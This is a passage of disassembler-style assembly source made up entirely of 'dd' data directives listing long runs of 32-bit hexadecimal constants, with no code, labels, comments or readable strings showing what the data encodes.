		dd 7C41E3F6h, 0DEFE0071h, 0BB5EE732h, 0B00C5F9h, 47E3E579h
		dd 7071CF4Fh, 7853066h,	3C06E930h, 25929E00h, 0F9558D4Ch
		dd 389B635Fh, 0D101EFAEh, 5A2DC6FDh, 4E05869h, 0F83D0010h
		dd 6BBFFA01h, 1F30B0D1h, 0A8C1E0B3h, 5B8B1AC5h,	4361A9C6h
		dd 794980D8h, 709CF95Dh, 0AEC618B0h, 8E6E19ECh,	0D5A12701h
		dd 3F75DB94h, 5E708DC9h, 15AD0004h, 7C70B031h, 472E4E78h
		dd 4B03DB0Ch, 90E505B4h, 0C18B95CCh, 65C4AAC0h,	37845067h
		dd 66F6AE13h, 0F207547Ah, 75D8155Ch, 0A0DC6382h, 0FBFD52A8h
		dd 9B3400F6h, 154872Dh,	7620857Fh, 7A29007Ch, 7E57792Ah
		dd 2E16B2E0h, 9B00E9F7h, 1D0E6F32h, 882093FFh, 0E881FD65h
		dd 0FAAE02E5h, 3FEF20C4h, 490021EDh, 0C2E043DFh, 0C106B464h
		dd 0A7763241h, 0D8812AC0h, 0E36800CCh, 0F50AB516h, 0F900B2CFh
		dd 0D74D3B87h, 888EA80Ch, 7C01E8D0h, 0F61BFDF4h, 99C807C2h
		dd 4A2101A2h, 6CE33245h, 6858A02Ch, 0F5250201h,	2EC7BC64h
		dd 0C30920h, 3DDDA2E1h,	25F7048Bh, 4D698C00h, 0B2F66EDBh
		dd 0D14B6065h, 0EA482FEEh, 45C60800h, 709B2DFEh, 8403097Ah
		dd 402F7D5Ch, 8A88291Dh, 457040EDh, 62BC43F2h, 2AD043D6h
		dd 8A60AEB7h, 19ADF1D1h, 927D0FDAh, 5840FF0Dh, 0C078A307h
		dd 59297000h, 7E178CBEh, 907F0932h, 0C845C60h, 0E7C08168h
		dd 0A8F1085h, 104091C0h, 612A81CAh, 0D8209815h,	59360038h
		dd 9278ACCEh, 0A700FD94h, 0EB78462h, 561B87Eh, 74365DC5h
		dd 8F07756h, 2C48B280h,	2C45EFDDh, 395A72h, 0F98E800Ah
		dd 9C2EA867h, 0CA0396E8h, 793B5561h, 0A3061E40h, 0A1C8188Bh
		dd 51CE6663h, 90B1C0AEh, 0F8F4CAh, 1C9B51CCh, 9E60F701h
		dd 14003898h, 0A5C45E6h, 523244E5h, 0D92AF08Bh,	4AB948ACh
		dd 72C48000h, 744D53CDh, 0D915320Dh, 8807807Bh,	0B8660889h
		dd 0C0C014A4h, 0E69E78h, 9D4D15C8h, 0B940022Dh,	39F0A40Ch
		dd 3A0B1C2h, 36318B0Bh,	0CAC8E746h, 0D601414Bh,	0F85717A9h
		dd 8C36E2C5h, 0E14B631Bh, 0FD7124C6h, 0AF64009h, 0C3888456h
		dd 0AD5D5742h, 4C49A1C0h, 0B82D6704h, 6482712Fh, 0E9D022C7h
		dd 0A704F84Ch, 0D92D56EDh, 0BC8D401Dh, 2FE9334Fh, 8DC7656h
		dd 8048F887h, 0EE2A0A36h, 0A1022233h, 0C047A742h, 1B86465h
		dd 623BD3E6h, 3359126Dh, 7D641588h, 0ECD4149Ch,	0DBAD18E4h
		dd 3FF15911h, 0A1009D76h, 62998D05h, 5C24660Eh,	639C50ABh
		dd 1A436171h, 0B455C8h,	0A8D8B66Fh, 0AE98AFF9h,	0DB5AF172h
		dd 0F000C1A8h, 428875D9h, 857AA5A0h, 0FC0DC403h, 0E15AC350h
		dd 0AE70A9BBh, 47C0790h, 0C0C4F034h, 9F5B18Ah, 0E2D5DD01h
		dd 0B08B716Bh, 0AAD0D0h, 188D5D5Bh, 9A8A98F4h, 2F143A00h
		dd 2B25BAB9h, 5F080170h, 8C6F9B88h, 0DD518D30h,	0D9F008A9h
		dd 0FF4A005Bh, 0F31795DEh, 5D0019BEh, 446BCCD3h, 1C86405h
		dd 0FD758682h, 8043DD08h, 0BBA2A0A9h, 1F4FAEE9h, 47E5231Dh
		dd 2067ACEDh, 0AAF26D08h, 88361C31h, 0E8839307h, 0F6AD4C5Ah
		dd 0A0FB3BF0h, 4E068B0Fh, 4296A126h, 0A8BB0B36h, 40CCFA9Eh
		dd 7AE66398h, 0C6012644h, 785DA1A3h, 8080D1F8h,	414F49Bh
		dd 98712132h, 97BF3D00h, 8EBE7AA5h, 0FC15CDCh, 0F34ACB05h
		dd 6F5C4075h, 28A76E71h, 0BBCD3B00h, 0D950D365h, 91700046h
		dd 0E8F7C85Bh, 0DC005FF2h, 55104775h, 786507h, 2E120C69h
		dd 88D15A6Ch, 0F937DA44h, 5860DD08h, 0A19FCF69h, 44BF0036h
		dd 0A5D06075h, 7D03FEFFh, 5A9D19CDh, 42789067h,	41546539h
		dd 0C1F82007h, 9A00121Eh, 0FFC5250Ah, 1CA92ADh,	6B98C9C0h
		dd 70D6708Ch, 0D90E89DAh, 6210B1A0h, 4C9077BAh,	0F4215300h
		dd 43953D00h, 69234E17h, 0F700457Dh, 0D0F289E1h, 90B4D2AEh
		dd 813860C6h, 0B3903CA6h, 519B8603h, 0B8CEBBA1h, 0E492BCh
		dd 505DEB47h, 108CC48Ah, 2991743Bh, 0FA81F89Bh,	7553AB8Dh
		dd 0C7DFD980h, 0F0206DB7h, 73A31114h, 0EAF2C0C8h, 0E47539F3h
		dd 1C8C006Ch, 0AC0EFCA2h, 890BBE25h, 8AE03811h,	8D0F9C49h
		dd 102C299Bh, 790428h, 76FEF951h, 3301E4E1h, 96EFEB02h
		dd 5ABAF8h, 0AC6F9421h,	0C9FE6C01h, 96C7C444h, 63E3D2F3h
		dd 68480665h, 0B16047ABh, 0E95CAAE6h, 0FCE015EDh, 0B5AE00A0h
		dd 36519FCBh, 115B1297h, 7A1467F9h, 73F60038h, 82B47B12h
		dd 0C4238400h, 663F6589h, 0DCEA2437h, 0C18718C4h, 0A4181168h
		dd 4A119607h, 3357D57h,	0B81FA0D8h, 0F800BA52h,	0C0027A68h
		dd 0C0D2FBE7h, 0A36E7E69h, 0DECE948h, 59D5A400h, 2C13BF86h
		dd 3A51C081h, 0DAEB075Bh, 0B8A19224h, 6DF8C3h, 6BAA4F49h
		dd 4347E3ABh, 307F5101h, 2A27540Bh, 2169AC4h, 1FF085ECh
		dd 3841924Fh, 0D656109Dh, 39CC247Ch, 0FFDE0268h, 0ECA047E2h
		dd 0E45505D7h, 0C7015798h, 0BE761F84h, 0E3F8B7h, 2F950979h
		dd 0AC307A12h, 6593641Dh, 0C0BC0F80h, 2E286Eh, 0B0788A88h
		dd 0C51DEF35h, 0F80CBC93h, 0A149B8h, 29FD84ABh,	51E05D2Dh
		dd 0C403B602h, 404CF4A0h, 50687748h, 223CF9h, 40394772h
		dd 0A61D359Eh, 272BC000h, 0D72570DFh, 0F5CB0111h, 87146136h
		dd 88FFDC7Fh, 0E1D4801Dh, 0DD30ACEAh, 61EE945h,	36A70E50h
		dd 3FC98C57h, 8EBB4020h, 88A4E054h, 0E3CAF90Bh,	27DA8080h
		dd 0E0F2B65h, 0FFF43342h, 0DC389229h, 0EEFA3268h, 430D0701h
		dd 9B10AF7Fh, 12263AD0h, 4E2E2C16h, 5540E2D4h, 0CF1C4889h
		dd 5915FC00h, 6A328060h, 8A2091C2h, 6B88C591h, 9944C206h
		dd 7545BC90h, 15918B5h,	0FD0A11CCh, 0F8118AA8h,	9983A070h
		dd 0E10534BAh, 9EF8DDDBh, 6744008Fh, 6E2F8101h,	1718CDA0h
		dd 0F31D3F9h, 59E000DAh, 0EFF6D7E4h, 0FD0068C4h, 55F25E7Dh
		dd 6FE7D25Ah, 30B279A8h, 19B68A10h, 463F4102h, 60D3CB6Dh
		dd 13B54C2h, 0CA2321A8h, 0E871F238h, 0BA0929F0h, 30D3FC10h
		dd 0A9050A48h, 0F90C3874h, 2A630284h, 507C956Bh, 6D44304Eh
		dd 52D7002Dh, 38B0AE9Ch, 8C009AF7h, 19E3A9E5h, 9B36D81h
		dd 55DC2253h, 2915499h,	0E5C0C177h, 79F40815h, 5BCC5980h
		dd 0A637ECh, 60692138h,	426BBB43h, 0C4315160h, 547D02FFh
		dd 601C94FAh, 81A31906h, 0CC1E2EE3h, 62029590h,	66FADFBDh
		dd 0F9EB1148h, 0BEB307B9h, 7A7117FCh, 0CA80A309h, 0FF87ACB5h
		dd 4C1D71F3h, 5D008D4Bh, 2F9964CFh, 2D880AFCh, 9A4D585h
		dd 0B890E1D2h, 9CAB7C2Bh, 1D04DC0h, 5288E0B1h, 7B72825Ch
		dd 0A460A180h, 60019CE2h, 0F91B71F6h, 0CC601158h, 454484BFh
		dd 85A950DFh, 0A5BE0E37h, 58586906h, 0FF746702h, 649B1100h
		dd 776C622Eh, 0C550AB7Bh, 9AF34423h, 44664Fh, 629E773Fh
		dd 7E246927h, 4A6DCB01h, 511C1013h, 0DA6B180h, 39E7C2F4h
		dd 6694A81Ch, 0B679F00h, 2461F7ECh, 60689CA0h, 0DC3C3023h
		dd 37A58001h, 65E01421h, 894D8C30h, 781877h, 0EC196074h
		dd 0A413C032h, 88345D49h, 0C5CD87D2h, 0AFBE40B8h, 4F015303h
		dd 0E218C7D7h, 58243704h, 1DB778A9h, 0C7B25C06h, 0F09EE0A7h
		dd 6F50B67Ch, 355740Ah,	0C8C48823h, 0BB1E3803h,	896F6916h
		dd 0C8084064h, 404044C3h, 799DE3BDh, 0B6FC00D7h, 644B61D2h
		dd 2E0904CAh, 30AA0765h, 20103938h, 0C400671Bh,	0CF5A3413h
		dd 777925h, 4DC5E45Fh
		dd 690D083Dh, 282A400h,	687B6A05h, 95290737h, 702AE8AAh
		dd 5C3AAB65h, 0F47349CAh, 0B6DFD2C3h, 688D4DB9h, 51C0AC94h
		dd 0A6465312h, 0D23D3600h, 0A2B437F7h, 5068982Ah, 3C142Ch
		dd 0B1E6F621h, 0A184CC1Dh, 0F07C5438h, 1191E4A1h, 31807D07h
		dd 28E11A9Dh, 3B13ACEFh, 0D86030C6h, 91C52B13h,	8769008Ch
		dd 0BBE3A550h, 0C71382Eh, 0A30DA440h, 2F8E17FDh, 7986265h
		dd 2C002CC4h, 0F1EFDA0Dh, 169119D7h, 74999C20h,	452801DCh
		dd 60086DB1h, 0C80A788Ch, 0E46FE036h, 24D390B2h, 0C11CC819h
		dd 7E3C993Ch, 0FA9D2300h, 0A408ECF4h, 0BDD01DFh, 6E3D152Bh
		dd 68291Ch, 9A136B85h, 175CE09Ch, 28EF3BA2h, 9917C87Ch
		dd 0F90695ECh, 0C9802Ch, 513AF348h, 154484AEh, 0A354E4ACh
		dd 6B00CF78h, 7614160Ch, 25733FE2h, 44104BA6h, 8A00AE49h
		dd 0F304B8D1h, 1D68796h, 4C7C60EBh, 67653971h, 0E8AA2E6Ch
		dd 7C428892h, 0C342E2h,	0D1DE2170h, 81DB2801h, 22172D71h
		dd 4C3A97FCh, 622D4D5h,	31E16F1Ah, 54E481h, 0C26E37A6h
		dd 9C0972BCh, 38900300h, 2DD9D1BDh, 39D9B8D0h, 0E8D6E37Dh
		dd 4C017100h, 94F44AC7h, 1F8F5F09h, 170B015h, 605B0067h
		dd 89218DE6h, 8803A310h, 0B183B6CCh, 0DAD2C1C6h, 2B1A1029h
		dd 7CC291C2h, 6E44244Eh, 3D9FC16h, 1867026h, 8CB09C7h
		dd 2DBAD0F7h, 109B8F65h, 6819BB09h, 32ABBCh, 0BE89D11Ah
		dd 16E9A931h, 0B08D2124h, 8E2CBA60h, 14DEC5Fh, 54013C0Ch
		dd 0C6F9022Dh, 0C2A24085h, 99806A07h, 0F04CF7C2h, 3501E5F4h
		dd 0B0B4CEA9h, 4C328AFCh, 60549173h, 0B73FF0A2h, 624F0900h
		dd 8ECABB7Ch, 99E01639h, 2BB003DCh, 3913D5C6h, 1C044EA4h
		dd 0FF4B5F55h, 777A04B0h, 29603Ch, 99130AD2h, 25427889h
		dd 5CB04FAAh, 0E9C77C07h, 50E0CF60h, 21D4F44h, 68F76B49h
		dd 0E059F962h, 8390D420h, 0FC8CB200h, 785DFDDEh, 44C490ECh
		dd 3F0068E7h, 1015403Dh, 93A84643h, 0F45380A0h,	0F565A499h
		dd 0AAFF8E01h, 21FCF898h, 0C00A19D4h, 7ABF7FD1h, 10005682h
		dd 0BBC52E1Dh, 124CFD4Dh, 72FEEC3Bh, 64206B04h,	786CF52h
		dd 8EFF685Eh, 0B39840CCh, 93093A9Fh, 0C6BE2D1Bh, 651C3048h
		dd 673BB171h, 26DF3617h, 38FF6400h, 240A4CDBh, 85B09E04h
		dd 0C2848B2Dh, 9291A50h, 0DD5490D0h, 54924Dh, 27E9F30Dh
		dd 0EB1CBACAh, 23FD1207h, 84AB1D17h, 0BB405AD0h, 1165FFA4h
		dd 9091A8E8h, 0D0D21A84h, 2968C888h, 13F436ABh,	0FC382007h
		dd 0E7001CFDh, 3A02E4EEh, 0B6F7865h, 6912B660h,	44BBECB0h
		dd 0F97E7112h, 1B3B2020h, 75DFEA4h, 0EE4AAC3h, 0FD08E2B4h
		dd 0D144BC6Eh, 97FC018Ah, 8E3E7ABCh, 4798F833h,	27696B00h
		dd 4FC21B04h, 1E49065h,	0A192F4FFh, 22F889FAh, 7AAA0074h
		dd 0AFE349BAh, 0DEDA0CA8h, 7F8F2BDh, 0A9E93560h, 3F1CE169h
		dd 0EF23175h, 0CEC59A36h, 0D4232FE1h, 293830B3h, 4F38CE8Ah
		dd 11B820A2h, 20002399h, 874BBB2Fh, 2E91CE5Dh, 40BCE24Dh
		dd 819E6F7Eh, 80E7F1A2h, 83A7C900h, 42B3F9h, 0EE0A1858h
		dd 0ACE53220h, 372A0107h, 38D4F3DDh, 0AFD40034h, 453F4372h
		dd 2575C048h, 0C5A480CCh, 25CB068Ch, 1C04EFECh,	9C30520Fh
		dd 7DAFC1h, 0BB247D5h, 0CE38431Ah, 20EA843h, 0E22FFF6Ch
		dd 0F877AAh, 838CD682h,	1A48FED4h, 80448844h, 665895C0h
		dd 91903AA2h, 0BF62FC04h, 94B64E3Bh, 16640B97h,	87B88813h
		dd 0B501F2ADh, 9EA0E451h, 61805BE2h, 38C7996Dh,	0B428DD8Fh
		dd 8BB0D0BEh, 0F3FAD080h, 0DF6CCF02h, 4EFD0AC5h, 87670270h
		dd 5CC66239h, 100120D1h, 27D0C99Eh, 7C3819D8h, 4854A40Eh
		dd 7C0D810h, 7B339427h,	0B8B07AE8h, 0A47CE212h,	20B76072h
		dd 0F31676ECh, 0E12F6832h, 21C32053h, 0AF076D27h, 2FB7D079h
		dd 262CD920h, 991C022Dh, 4CF0E613h, 21FBE084h, 0FA113637h
		dd 0EFC22E2h, 85A887h, 0BC8C271Ch, 0BD34048Ah, 0C45E83A6h
		dd 10C0A4C3h, 0ED8B889Bh, 0AC041016h, 7FC7748h,	0A99FF2C3h
		dd 0D0DA87FBh, 5E5A214Bh, 783BFF5Ch, 0A0080B4Ch, 5E0AAE7h
		dd 0DB6ABB10h, 22B8CA3Fh, 0A78F0079h, 0A4747249h, 573B89BFh
		dd 270D9231h, 0D5FA0460h, 0DAC90475h, 91A2546Bh, 400A1664h
		dd 0D6A0463Ch, 0FD634100h, 10DECA26h, 668E16E0h, 0A75C0BBFh
		dd 90758980h, 0F8B49EABh, 53004448h, 0B0824F21h, 197D0158h
		dd 0EDDB5DF6h, 0C23428CAh, 10C238FDh, 13F6876Ch, 893A63Eh
		dd 0C5F0BC6h, 0C5616E19h, 841E2700h, 0BB3A43C8h, 50B80178h
		dd 2810BA1h, 0C7E5F04Eh, 2B068093h, 736120D8h, 0CEFC13A4h
		dd 83843CFEh, 2BB65D00h, 0D0E55F90h, 0F17A1E92h, 7B4642E8h
		dd 0F0C11FA1h, 85855C5h, 0C84FF71Ch, 4EB4AE5Dh,	50B8080h
		dd 0E911C031h, 0FD893850h, 0F2F8301Bh, 9FE0C150h, 40737801h
		dd 0FF5FF9D8h, 14EB87FCh, 40BD1C0Ch, 20A4D82h, 0EC7C1052h
		dd 46DD7CA8h, 890E59C0h, 2A8E05Bh, 79237CB3h, 94CC8C32h
		dd 78001F90h, 72B5D213h, 9493665h, 75A0D98Ah, 70DC8A1h
		dd 0BB519455h, 31C1C0C8h, 0FA943DDFh, 9A4E3B39h, 26C7F481h
		dd 0D05CB5A1h, 58CB5F5Dh, 5B14B88Dh, 3F8E2E10h,	131D117Ch
		dd 7C001494h, 8137C77Bh, 69626016h, 0B3BE02F3h,	66EC1315h
		dd 0C871CAF0h, 0F101D062h, 20D62C0h, 0F0A1CCC4h, 605D135Fh
		dd 8F3F0F8h, 7C9CCD70h,	89E35908h, 1C00FC62h, 2A2697AAh
		dd 0DF24DD50h, 7F058403h, 7C501A87h, 7AA092B8h,	0AB852C68h
		dd 0EAF40F0h, 0E1093108h, 20F05FFCh, 0DF97FF44h, 528A3EC6h
		dd 80CD0B79h, 0C482A2E6h, 4CE4F90Dh, 0DAA1BB00h, 0E7FE9394h
		dd 0E2F12401h, 3CB6915Ch, 0A39D8011h, 9C8399F0h, 0D884A132h
		dd 0E407EAC1h, 4C8A50h,	0C854E0EEh, 0EEF95341h,	0E8CBA9Dh
		dd 870C3FF3h, 1F167181h, 7EB5EC10h, 0D140BCBCh,	58EC62h
		dd 0CCA67C87h, 0D7BD8132h, 0F0BE2602h, 990BCE93h, 52C62B80h
		dd 0D06F26A4h, 88DD4510h, 0B801A334h, 1B714C30h, 0A442FD83h
		dd 0A94D003Ah, 0C409C885h, 2BAF61D8h, 2B60686Ch, 36BF0906h
		dd 0F8901C56h, 0B53AED69h, 5C5D004Ch, 9361156Dh, 3F2600A5h
		dd 0F076A6B7h, 0E4044509h, 0C7D33501h, 56069D04h, 22973430h
		dd 3C6B097Ch, 0F40246ADh, 0C878E50Dh, 0A81652h,	0A48740FCh
		dd 1F1F2A64h, 81BB0A5Ch, 0B0625FCEh, 0F686219h,	64B283CBh
		dd 1499FCA5h, 0F04316D0h, 0D5AF0E96h, 0C8093C9h, 6787BEEEh
		dd 1810BEE9h, 0C119C766h, 0EDCD323Dh, 0E1136531h, 198ED8D2h
		dd 0F90FE6Fh, 776272h, 850E473Dh, 0F85800BCh, 6B4C912Ch
		dd 360AEDF1h, 246E3C8Ch, 86B1063Ch, 711A946h, 3ACCF27Dh
		dd 0EC80DF71h, 3388814h, 5152B90Ch, 30993932h, 96B0AA1Ch
		dd 8DF3E04h, 0CCF74400h, 2CB88575h, 17C09Ah, 64A0C852h
		dd 0A9004F1Dh, 8A2D4041h, 0BD0BFFh, 797C6268h, 8FB906C7h
		dd 506B3C3Ah, 61DE2970h, 0A07D0A0Fh, 0BCB258B1h, 0E42E0C7Eh
		dd 9628A8CBh, 74A05400h, 458403B0h, 6541C0C1h, 0EB95B3E6h
		dd 50E31200h, 0A30B9C68h, 0D59B2918h, 8FDB8780h, 1E5183EDh
		dd 0EF13C1D8h, 48D7B000h, 54BA4EB1h, 9C70D057h,	0B4E06E15h
		dd 9015E605h, 6C1CC3F4h, 0E2C67280h, 330028F4h,	27D24229h
		dd 691CDC9h, 3A73D54Ah,	0EE01F008h, 6A6B2C02h, 2D2010DAh
		dd 70A00145h, 0E7A872C5h, 0BE0C4046h, 0EB065E2Eh, 56AB2BC1h
		dd 462C18B0h, 0F78EB9AEh
		dd 0EC587800h, 30EF770Eh, 494D305Fh, 867EC4A1h,	4ECB1004h
		dd 1483D37Bh, 33780924h, 1C20D004h, 0EE8BA12Fh,	319B53Eh
		dd 78D1CABEh, 68D0FF16h, 5CE86FDh, 0C8062403h, 2CB82053h
		dd 69C0476Eh, 834BC761h, 8708C066h, 6CE6516Dh, 0B52180E5h
		dd 0F7332C48h, 6F24188Dh, 0F86719FBh, 0BA321E00h, 0DE768B7h
		dd 8E910061h, 0F5D34E04h, 8C00DECCh, 0E2C1CD87h, 0CFA2435Ch
		dd 0E1E066F9h, 0FE35CA9Dh, 61ACCF0Fh, 0F6EFC032h, 3E47BD72h
		dd 3300578Eh, 81C87A8Ch, 0A03C1EC2h, 2E360E19h,	11C449C6h
		dd 9310959Ch, 7414487Ch, 0E8C36Eh, 297DA43Dh, 1D081F98h
		dd 0C134C6E3h, 0C49446EAh, 8078C4CDh, 0E2663C3Bh, 0A0A7CB99h
		dd 0C5D03190h, 43950334h, 80B161F6h, 2900D7CBh,	3151052Bh
		dd 65AB2C0Fh, 2143814Ah, 0DCCA4DECh, 0D900E129h, 9DB16E90h
		dd 0FF6BFEh, 0F369E0AEh, 0DD444C6Ah, 0EB3B2501h, 0E46E82ACh
		dd 55A4980h, 493D7D71h,	58634503h, 0A895FD78h, 0E2C07h
		dd 69C80F3Ah, 1A0410ABh, 52021F03h, 0D330262Eh,	0A86004D0h
		dd 0C63F056Eh, 99C22A14h, 480ED5C1h, 0CB2CC8h, 60DF3F91h
		dd 89904BFFh, 0E63FB3F6h, 8A03F25Bh, 0D1FD13C2h, 108F8854h
		dd 0CF1230FAh, 0A24ACA20h, 7B68CD40h, 3C83159Ah, 3A113464h
		dd 3F0D8309h, 5B4BF86Bh, 0F882FCA4h, 0D87800BBh, 0C936538Dh
		dd 0CB7EF07Ch, 1715C0A8h, 76B99B00h, 6A4B41F8h,	90FC546Eh
		dd 1EEA0010h, 4E7F6054h, 8901BFD7h, 4074768Ah, 0DB60C7F5h
		dd 61D518BDh, 28BB9190h, 2F26FEE8h, 0D1427866h,	0A4B100EDh
		dd 0FF1C72FBh, 9580DCF2h, 6007DE12h, 443092CBh,	9D003B99h
		dd 0D68A6DB1h, 1C1951DAh, 442E8D21h, 90670946h,	9EC8D5A8h
		dd 5ECB79C6h, 35EA0071h, 84FEF20Bh, 3600D8D7h, 85AA9B5Bh
		dd 3D3F6C4h, 4BBCCEB9h,	303D3268h, 97690124h, 0AF4190B4h
		dd 76A33E0h, 5F4EB028h,	0E251234Ch, 0BC439929h,	0C06C7102h
		dd 6B016042h, 9E6A1376h, 0ACF40A68h, 4EB783ACh,	2FC15C1Ah
		dd 0DB0820E4h, 0AD3ED44h, 47E5B983h, 398069C4h,	33D599Ah
		dd 23DCB700h, 0B4B2DF86h, 41FC2887h, 0A11D002Ch, 0EF8CC89Dh
		dd 30B2C6EDh, 8F241650h, 29FE7A1Bh, 2028C6A9h, 6313FF7Ch
		dd 0CC304B9Fh, 33E29D9h, 0F8A7ECE3h, 5CEA9450h,	84CDA4A3h
		dd 85E973E0h, 0A0ACDD03h, 0B842A2CBh, 5869BEB2h, 0B2759044h
		dd 6DC10608h, 799F46E6h, 52983003h, 0B895D86Fh,	3B7D8837h
		dd 0F09F72DAh, 8FAE8053h, 0AF482216h, 2AAA5A16h, 196000Bh
		dd 80CCE78h, 0A08BCB03h, 759C900h, 0B7B806C5h, 77FE83h
		dd 0CC8CC728h, 84487558h, 0FC01B326h, 12494F00h, 6A3B2Ch
		dd 68DBA921h, 0C959D135h, 7058C000h, 4B7B9677h,	0EB133FF3h
		dd 245CEEBCh, 0DF1B3AA2h, 0C8CE8648h, 522E3005h, 43452489h
		dd 10AA1C00h, 11BBE1h, 0E507403Ch, 4B262051h, 2469F866h
		dd 0D5C61498h, 0C8113C3Dh, 0A3CB14C3h, 0F30092E4h, 4435ADBFh
		dd 0EFCD05AEh, 88093B55h, 0E658C948h, 0CEA74001h, 384DA617h
		dd 93B2DE00h, 1CF36DFCh, 0C00C7Ah, 10C306F2h, 0F1900F0Ah
		dd 1C3AD501h, 83D44733h, 260026BBh, 9F45C15Fh, 20B14687h
		dd 788DB600h, 483C1Eh, 72524D5Ch, 3BED1C0Eh, 82FD7038h
		dd 1FC620B9h, 631C4267h, 0DEF1E0BFh, 7C3C2982h,	61D29CA8h
		dd 85936308h, 89732CBEh, 9060F290h, 400BEB4Eh, 904305BBh
		dd 0BEC250h, 8A30D81Fh,	0D3666829h, 8532BD07h, 0D97182FFh
		dd 24450D2Ch, 0A5AB7F82h, 0B8033AA4h, 0A0232937h, 24A77F97h
		dd 429845FDh, 1C80E652h, 0FBF233CEh, 3CC29258h,	0A2BF194Fh
		dd 0DA804140h, 5C2CBB4Ah, 5700E483h, 0BF6E6B4Bh, 60AB845h
		dd 0E1C7ACC4h, 2C2811B2h, 0CE121414h, 94037974h, 0C0FA1CD9h
		dd 2E8A24DFh, 40146FC7h, 2947722Eh, 0F24BC307h,	99475B2Bh
		dd 1CA75794h, 0C700E638h, 1FCB736Eh, 133F9D86h,	399E9E3Ch
		dd 53ABB581h, 6C220310h, 0F514F05h, 90C08219h, 0A226BF20h
		dd 0B07EB847h, 19506CBCh, 0A4883968h, 222D001Fh, 82F1AB2Ah
		dd 5B1F2033h, 3E008CB1h, 0B9956942h, 5FA72C7Ch,	688640C8h
		dd 3F045333h, 5A58E41Ch, 59D05CC9h, 26B2047Dh, 803269C3h
		dd 9351CEBCh, 0C6153700h, 485E581Dh, 0FB6E208Ch, 9C89F000h
		dd 0B28A6743h, 173F03C3h, 0B642262Ch, 0E3E5AECFh, 0FF35C3FDh
		dd 83F0FCE0h, 387D1A07h, 93834D82h, 7087C8Ah, 3E9032F4h
		dd 4927C003h, 0B002BD0Dh, 5E18D407h, 0DC80E05Dh, 727A307Bh
		dd 0BCD0AD49h, 8B15C613h, 2877B0h, 0DE5E147Bh, 0F34DCA6Bh
		dd 0AFB28C7h, 88826F07h, 98FFE0A8h, 0E2041D92h,	132FC0DEh
		dd 1AE3B140h, 99337430h, 0C1761129h, 92DEED69h,	0E4A98095h
		dd 2ED29C53h, 4B40069h,	3056B3C5h, 3D18236Fh, 55299693h
		dd 1AA2038Fh, 0C0B6C741h, 910E20D3h, 98977E1Dh,	0E6D028h
		dd 156ADEEEh, 0BE6C9874h, 1163DCE8h, 2E56D6h, 8863AB91h
		dd 0EB1BF4E4h, 2DA38E0Ch, 0C8B08B5h, 83A06485h,	0FD067DD8h
		dd 9793F9A9h, 0B8070089h, 0D23604C0h, 1EF0995Dh, 1B7E7B00h
		dd 12E576A2h, 0E33CA024h, 398F62B2h, 80A01878h,	2411E5DCh
		dd 0C68A1A02h, 0C0ADE7A7h, 3F5D126h, 0AC39D03Eh, 39007F63h
		dd 9AA5A918h, 5256E165h, 700F426h, 3FC9D95Ch, 0F1007D66h
		dd 0B827AE69h, 0C7502E4h, 0F9B2FD88h, 7F014D70h, 80F27CA0h
		dd 0E8E9E7B7h, 79F088D1h, 0D3290092h, 61C5D0CAh, 59004FEFh
		dd 0D174EE8Eh, 0A4DD04h, 0D2E9130Fh, 0B94A1A99h, 4084B4AAh
		dd 0EF104345h, 0F418009Bh, 82507BB7h, 2100F66Ah, 447E6837h
		dd 0A5A7BAh, 9A3D9DAEh,	233B6920h, 0FE2978C1h, 488EFDE8h
		dd 2C81C441h, 461AA6D4h, 650161A0h, 61FC777h, 0B3E95575h
		dd 0B57D6C41h, 3B169448h, 918C9844h, 0C521FEFFh, 31FDA30Ch
		dd 147511F8h, 20811E3Fh, 0E7FE067Eh, 0D99A761Ah, 0A8759808h
		dd 0E83B08C1h, 0DAB80487h, 403ED892h, 0C6E97Dh,	0F82B738h
		dd 2FBD269Ah, 0F361937Bh, 577EEEA8h, 11784C41h,	6D8BC980h
		dd 0B6FD4577h, 206A2402h, 408244BDh, 92FAF918h,	0C5944434h
		dd 0D59F3500h, 380A4614h, 754C003Eh, 0DDEDE0D4h, 0BF1EF35Dh
		dd 0E80CDCC0h, 410378FCh, 0F508217Fh, 20921283h, 2B0180Fh
		dd 0B23AAA03h, 70906F4Bh, 0B658839h, 88EF173Dh,	8C823116h
		dd 33C14378h, 8F9C8100h, 0A4D3160Fh, 3BD400A2h,	0B93127E1h
		dd 0DD11B624h, 0E009392h, 848016D5h, 981DC03Eh,	3FC0011Dh
		dd 7AD37B05h, 2FF06D9h,	616238B7h, 0B3E34D12h, 0F48EF820h
		dd 0AE0CA1CAh, 8CFA4840h, 32183558h, 0D0200C38h, 0E2541041h
		dd 0BE00A8D8h, 5C861B54h, 75D960D4h, 0CF285h, 42AF14D7h
		dd 0E36231A6h, 3899A428h, 78FE9E22h, 4CCF00C5h,	2AB316F3h
		dd 86043115h, 214B01E9h, 8ECC5C81h, 0C3F593FCh,	0B346DC30h
		dd 0C1B294C8h, 0E8DD0502h, 41127B19h, 0A187489Ch, 7FE77EDh
		dd 0D8DF8F64h, 5058197Fh, 75A47803h, 8C92DCh, 6BE09691h
		dd 0DDBF655Bh, 0D5E88700h, 39FBFA07h, 2AB907FFh, 0D3D8190Ah
		dd 469079C7h, 0F8A6CAF8h, 31177A03h, 983BB569h,	0DF9F4Ah
		dd 41E0EBF3h, 9CE303BBh, 0BE50A19h, 84139539h, 50B077C0h
		dd 9FF76700h, 4001C7D1h, 0D028C07Eh, 0B0AA73ACh, 0DE911600h
		dd 0D34BD91Ah, 0BFA7E6Dh, 7BC57CDBh, 88E76900h,	51E0F250h
		dd 76C0A000h, 6798B8E3h, 0AD5701F3h, 0D21C8FC2h, 316C305Eh
		dd 3EDA4A88h, 9A022EEBh
		dd 92DD59Dh, 46B3A082h,	0FFC00C60h, 776010F1h, 0D77C285Eh
		dd 0E99114D0h, 628CE0FDh, 0D0C0F350h, 15293C23h, 0C4A475h
		dd 9E6D5B7Dh, 0A3537B22h, 8BA01CA3h, 77004B12h,	38E91E2Fh
		dd 88707894h, 0C80F0AD3h, 0A037DC45h, 0C0ADED8Dh, 8148A31Eh
		dd 0C99F2A55h, 0EE8744A1h, 6BBAC054h, 0EB24086Fh, 9C0C1A8Dh
		dd 0A05571F1h, 1D15B7Ch, 0B127406Eh, 24C256EFh,	2D00BBE0h
		dd 4521D350h, 238E31h, 0E8ACABCCh, 0B9AF57B4h, 3305400Dh
		dd 81D0319Bh, 9C90EDh, 977DF52Ch, 61FE5E1Fh, 0AD004970h
		dd 1B73D562h, 1CB038DEh, 42027BA6h, 9B917C14h, 0D0848492h
